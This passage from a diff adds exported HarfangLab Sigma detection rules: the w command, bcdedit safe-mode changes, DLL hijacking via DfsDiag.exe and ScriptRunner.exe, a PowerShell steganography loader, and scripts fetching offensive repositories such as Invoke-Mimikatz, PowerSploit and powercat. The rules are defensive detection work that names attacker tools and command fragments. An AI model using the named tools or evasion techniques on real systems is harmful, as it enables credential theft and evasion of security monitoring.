Mac.app/Contents/MacOS/kavd.app/Contents/MacOS/kavd'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1f8de2c5-e4de-49b9-8e1e-9753cb9c3f48",
+  "rule_name": "Current Logged In Users Discovered via W",
+  "rule_description": "Detects the execution of the w command.\nAttackers may use it during the discovery phase of an attack to retrieve the list of users currently logged in and their last action on the system.\nIt is recommended to check for other suspicious activity by the parent process.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1f9140ad-7310-4971-817e-bc52afe6b553",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087751Z",
+  "creation_date": "2026-03-23T11:45:34.087753Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087757Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/"
+  ],
+  "name": "t1529_enable_safemode.yml",
+  "content": "title: Windows Safe-Mode Enabled\nid: 1f9140ad-7310-4971-817e-bc52afe6b553\ndescription: |\n    Detects the activation of the Windows Safe-Mode.\n    When restarted in Safe-Mode, many detection features are disabled.\n    Attackers may enable Windows Safe-Mode to disable detection software and avoid detection.\n    It is recommended to investigate the parent process to determine if this action was legitimate.\nreferences:\n    - https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/\ndate: 2021/03/19\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1529\n    - attack.t1542\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\bcdedit.exe'\n        - OriginalFileName: 'bcdedit.exe'\n    selection_2:\n        CommandLine|contains|all:\n            - '/set'\n            - 'safeboot'\n    selection_3:\n        CommandLine|contains:\n            - 'minimal'\n            - 'network'\n\n    condition: all of selection_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1f9140ad-7310-4971-817e-bc52afe6b553",
+  "rule_name": "Windows Safe-Mode Enabled",
+  "rule_description": "Detects the activation of the Windows Safe-Mode.\nWhen restarted in Safe-Mode, many detection features are disabled.\nAttackers may enable Windows Safe-Mode to disable detection software and avoid detection.\nIt is recommended to investigate the parent process to determine if this action was legitimate.\n",
+  "rule_creation_date": "2021-03-19",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1529",
+    "attack.t1542"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1fa76d65-e12e-4570-a4d7-bec1023044e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093760Z",
+  "creation_date": "2026-03-23T11:45:34.093762Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093766Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dfsdiag.yml",
+  "content": "title: DLL Hijacking via DfsDiag.exe\nid: 1fa76d65-e12e-4570-a4d7-bec1023044e3\ndescription: |\n    Detects potential Windows DLL Hijacking via DfsDiag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'DfsDiag.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\netapi32.dll'\n            - '\\resutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1fa76d65-e12e-4570-a4d7-bec1023044e3",
+  "rule_name": "DLL Hijacking via DfsDiag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via DfsDiag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1fdb3367-1225-4b9e-99c5-2a202390b38b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606938Z",
+  "creation_date": "2026-03-23T11:45:34.606941Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606949Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@b.magnezi/malware-analysis-xworm-80b3bbb072fb",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1027/003/"
+  ],
+  "name": "t1059_001_powershell_steganography_loader.yml",
+  "content": "title: PowerShell Steganography Loader\nid: 1fdb3367-1225-4b9e-99c5-2a202390b38b\ndescription: |\n    Detects a specific PowerShell command-line used to download a JPG image containing a hidden base64 encoded .NET payload using a simple steganography technique.\n    The .NET assembly then downloads the final malware payload, a RAT such as Remcos, subsequently injecting, and initiating its malicious operation within the victim’s system.\n    This action is often related to a phishing campaign.\n    It is recommended to investigate, with the help of the process tree, the context of this action to determine its legitimacy.\nreferences:\n    - https://medium.com/@b.magnezi/malware-analysis-xworm-80b3bbb072fb\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1027/003/\ndate: 2023/09/29\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.defense_evasion\n    - attack.t1027.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains|all:\n            - '<<BASE64_START>>'\n            - '<<BASE64_END>>'\n            - '[System.Convert]::FromBase64String('\n            - '[System.Reflection.Assembly]::Load('\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1fdb3367-1225-4b9e-99c5-2a202390b38b",
+  "rule_name": "PowerShell Steganography Loader",
+  "rule_description": "Detects a specific PowerShell command-line used to download a JPG image containing a hidden base64 encoded .NET payload using a simple steganography technique.\nThe .NET assembly then downloads the final malware payload, a RAT such as Remcos, subsequently injecting, and initiating its malicious operation within the victim’s system.\nThis action is often related to a phishing campaign.\nIt is recommended to investigate, with the help of the process tree, the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-09-29",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.003",
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2029c7d2-ce99-4765-bef4-8aa8277d9a50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092344Z",
+  "creation_date": "2026-03-23T11:45:34.092346Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092351Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_urls_script.yml",
+  "content": "title: URLs of Malicious Code Repository in PowerShell Script\nid: 2029c7d2-ce99-4765-bef4-8aa8277d9a50\ndescription: |\n    Detects PowerShell scripts containing URLs that reference known malicious code or offensive tooling repositories.\n    Threat actors frequently use public repositories and open-source PowerShell scripts in their attacks.\n    It is recommended to investigate the repository being accessed, and examine any files or data that may have been downloaded. If your organization is not undergoing a security audit, this could indicate the initial stages of an attack or ongoing malicious activity.\nreferences:\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/06/24\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_1:\n        PowershellCommand|contains:\n            - '/raw.githubusercontent.com/'\n            - 'LwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8A'\n            - '8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvA'\n            - 'vAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALw'\n            - '/gist.githubusercontent.com/'\n            - 'LwBnAGkAcwB0AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALw'\n            - '8AZwBpAHMAdAAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8A'\n            - 'vAGcAaQBzAHQALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvA'\n\n    selection_2:\n        PowershellCommand|contains:\n            # https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Find-Fruit.ps1\n            # https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1\n            - '/S3cur3Th1sSh1t/'\n            # /S3cur3Th1sSh1t/ in UTF16-LE in base64 with 3 different offsets, for PowerShell command-lines\n            - 'LwBTADMAYwB1AHIAMwBUAGgAMQBzAFMAaAAxAHQALw'\n            - '8AUwAzAGMAdQByADMAVABoADEAcwBTAGgAMQB0AC8A'\n            - 'vAFMAMwBjAHUAcgAzAFQAaAAxAHMAUwBoADEAdAAvA'\n            # 'https://raw.githubusercontent.com/pwnieexpress/Metasploit-framework/master/exploits/powershell/powerdump.ps1\n            - '/pwnieexpress/'\n            - 'LwBwAHcAbgBpAGUAZQB4AHAAcgBlAHMAcwAvA'\n            - '8AcAB3AG4AaQBlAGUAeABwAHIAZQBzAHMALw'\n            - 'vAHAAdwBuAGkAZQBlAHgAcAByAGUAcwBzAC8A'\n            # https://raw.githubusercontent.com/EmpireProject/Empire/master/module_source/credentials/Invoke-Mimikatz.ps1\n            - '/EmpireProject/'\n            - 'LwBFAG0AcABpAHIAZQBQAHIAbwBqAGUAYwB0AC8A'\n            - '8ARQBtAHAAaQByAGUAUAByAG8AagBlAGMAdAAvA'\n            - 'vAEUAbQBwAGkAcgBlAFAAcgBvAGoAZQBjAHQALw'\n            # https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1\n            - '/PowerSploit/'\n            - 'LwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALw'\n            - '8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8A'\n            - 'vAFAAbwB3AGUAcgBTAHAAbABvAGkAdAAvA'\n            # https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1\n            - '/clymb3r/'\n            - 'LwBjAGwAeQBtAGIAMwByAC8A'\n            - '8AYwBsAHkAbQBiADMAcgAvA'\n            - 'vAGMAbAB5AG0AYgAzAHIALw'\n            - '/Invoke-Mimikatz/'\n            - 'LwBJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAvA'\n            - '8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALw'\n            - 'vAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6AC8A'\n            # https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1\n            - '/BloodHoundAD/'\n            - 'LwBCAGwAbwBvAGQASABvAHUAbgBkAEEARAAvA'\n            - '8AQgBsAG8AbwBkAEgAbwB1AG4AZABBAEQALw'\n            - 'vAEIAbABvAG8AZABIAG8AdQBuAGQAQQBEAC8A'\n            # https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\n            - '/Kevin-Robertson/'\n            - 'LwBLAGUAdgBpAG4ALQBSAG8AYgBlAHIAdABzAG8AbgAvA'\n            - '8ASwBlAHYAaQBuAC0AUgBvAGIAZQByAHQAcwBvAG4ALw'\n            - 'vAEsAZQB2AGkAbgAtAFIAbwBiAGUAcgB0AHMAbwBuAC8A'\n            # https://raw.githubusercontent.com/Veil-Framework/Veil-Pillage/master/data/PowerSploit/Invoke-Mimikatz.ps1\n            - '/Veil-Framework/'\n            - 'LwBWAGUAaQBsAC0ARgByAGEAbQBlAHcAbwByAGsALw'\n            - '8AVgBlAGkAbAAtAEYAcgBhAG0AZQB3AG8AcgBrAC8A'\n            - 'vAFYAZQBpAGwALQBGAHIAYQBtAGUAdwBvAHIAawAvA'\n            # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1\n            - '/nullbind/Powershellery/'\n            - 'LwBuAHUAbABsAGIAaQBuAGQALwBQAG8AdwBlAHIAcwBoAGUAbABsAGUAcgB5AC8A'\n            - '8AbgB1AGwAbABiAGkAbgBkAC8AUABvAHcAZQByAHMAaABlAGwAbABlAHIAeQAvA'\n            - 'vAG4AdQBsAGwAYgBpAG4AZAAvAFAAbwB3AGUAcgBzAGgAZQBsAGwAZQByAHkALw'\n            # https://gist.githubusercontent.com/shantanu561993/6483e524dc225a188de04465c8512909/raw/db219421ea911b820e9a484754f03a26fbfb9c27/AMSI_bypass_Reflection.ps1\n            - '/shantanu561993/'\n            - 'LwBzAGgAYQBuAHQAYQBuAHUANQA2ADEAOQA5ADMALw'\n            - '8AcwBoAGEAbgB0AGEAbgB1ADUANgAxADkAOQAzAC8A'\n            - 'vAHMAaABhAG4AdABhAG4AdQA1ADYAMQA5ADkAMwAvA'\n            # https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\n            - '/powercat/'\n            - 'LwBwAG8AdwBlAHIAYwBhAHQALw'\n            - '8AcABvAHcAZQByAGMAYQB0AC8A'\n            - 'vAHAAbwB3AGUAcgBjAGEAdAAvA'\n            # https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Eidolon.ps1\n            - '/FuzzySecurity/PowerShell-Suite/'\n            - 'LwBGAHUAegB6AHkAUwBlAGMAdQByAGkAdAB5AC8AUABvAHcAZQByAFMAaABlAGwAbAAtAFMAdQBpAHQAZQAvA'\n            - '8ARgB1AHoAegB5AFMAZQBjAHUAcgBpAHQAeQAvAFAAbwB3AGUAcgBTAGgAZQBsAGwALQBTAHUAaQB0AGUALw'\n            - 'vAEYAdQB6AHoAeQBTAGUAYwB1AHIAaQB0AHkALwBQAG8AdwBlAHIAUwBoAGUAbABsAC0AUwB1AGkAdABlAC8A'\n            # https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1\n            - '/The-Viper-One/'\n            - 'LwBUAGgAZQAtAFYAaQBwAGUAcgAtAE8AbgBlAC8A'\n            - '8AVABoAGUALQBWAGkAcABlAHIALQBPAG4AZQAvA'\n            - 'vAFQAaABlAC0AVgBpAHAAZQByAC0ATwBuAGUALw'\n            # https://raw.githubusercontent.com/leoloobeek/LAPSToolkit/refs/heads/master/LAPSToolkit.ps1\n            - '/leoloobeek/'\n            - 'LwBsAGUAbwBsAG8AbwBiAGUAZQBrAC8A'\n            - '8AbABlAG8AbABvAG8AYgBlAGUAawAvA'\n            - 'vAGwAZQBvAGwAbwBvAGIAZQBlAGsALw'\n            # https://raw.githubusercontent.com/sense-of-security/ADRecon/refs/heads/master/ADRecon.ps1\n            - '/sense-of-security/'\n            - 'LwBzAGUAbgBzAGUALQBvAGYALQBzAGUAYwB1AHIAaQB0AHkALw'\n            - '8AcwBlAG4AcwBlAC0AbwBmAC0AcwBlAGMAdQByAGkAdAB5AC8A'\n            - 'vAHMAZQBuAHMAZQAtAG8AZgAtAHMAZQBjAHUAcgBpAHQAeQAvA'\n            # https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/ShadowHound-ADM.ps1\n            # https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/ShadowHound-DS.ps1\n            - '/Friends-Security/'\n            - 'LwBGAHIAaQBlAG4AZABzAC0AUwBlAGMAdQByAGkAdAB5AC8A'\n            - '8ARgByAGkAZQBuAGQAcwAtAFMAZQBjAHUAcgBpAHQAeQAvA'\n            - 'vAEYAcgBpAGUAbgBkAHMALQBTAGUAYwB1AHIAaQB0AHkALw'\n            # https://github.com/dafthack/GraphRunner\n            # https://github.com/dafthack/MFASweep\n            # https://github.com/dafthack/MailSniper\n            - '/dafthack/'\n            - 'LwBkAGEAZgB0AGgAYQBjAGsALw'\n            - '8AZABhAGYAdABoAGEAYwBrAC8A'\n            - 'vAGQAYQBmAHQAaABhAGMAawAvA'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2029c7d2-ce99-4765-bef4-8aa8277d9a50",
+  "rule_name": "URLs of Malicious Code Repository in PowerShell Script",
+  "rule_description": "Detects PowerShell scripts containing URLs that reference known malicious code or offensive tooling repositories.\nThreat actors frequently use public repositories and open-source PowerShell scripts in their attacks.\nIt is recommended to investigate the repository being accessed, and examine any files or data that may have been downloaded. If your organization is not undergoing a security audit, this could indicate the initial stages of an attack or ongoing malicious activity.\n",
+  "rule_creation_date": "2021-06-24",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2097d94f-4a7d-417e-8cb0-063a71e4cd4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591189Z",
+  "creation_date": "2026-03-23T11:45:34.591192Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591200Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_scriptrunner.yml",
+  "content": "title: DLL Hijacking via ScriptRunner.exe\nid: 2097d94f-4a7d-417e-8cb0-063a71e4cd4c\ndescription: |\n    Detects potential Windows DLL Hijacking via ScriptRunner.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ScriptRunner.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\rsaenh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2097d94f-4a7d-417e-8cb0-063a71e4cd4c",
+  "rule_name": "DLL Hijacking via ScriptRunner.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ScriptRunner.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "20bddb6e-34a9-4ce0-821d-1a33c767e9a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078839Z",
+  "creation_date": "2026-03-23T11:45:34.078841Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078846Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.helpwire.app/blog/enable-remote-desktop-command-line/",
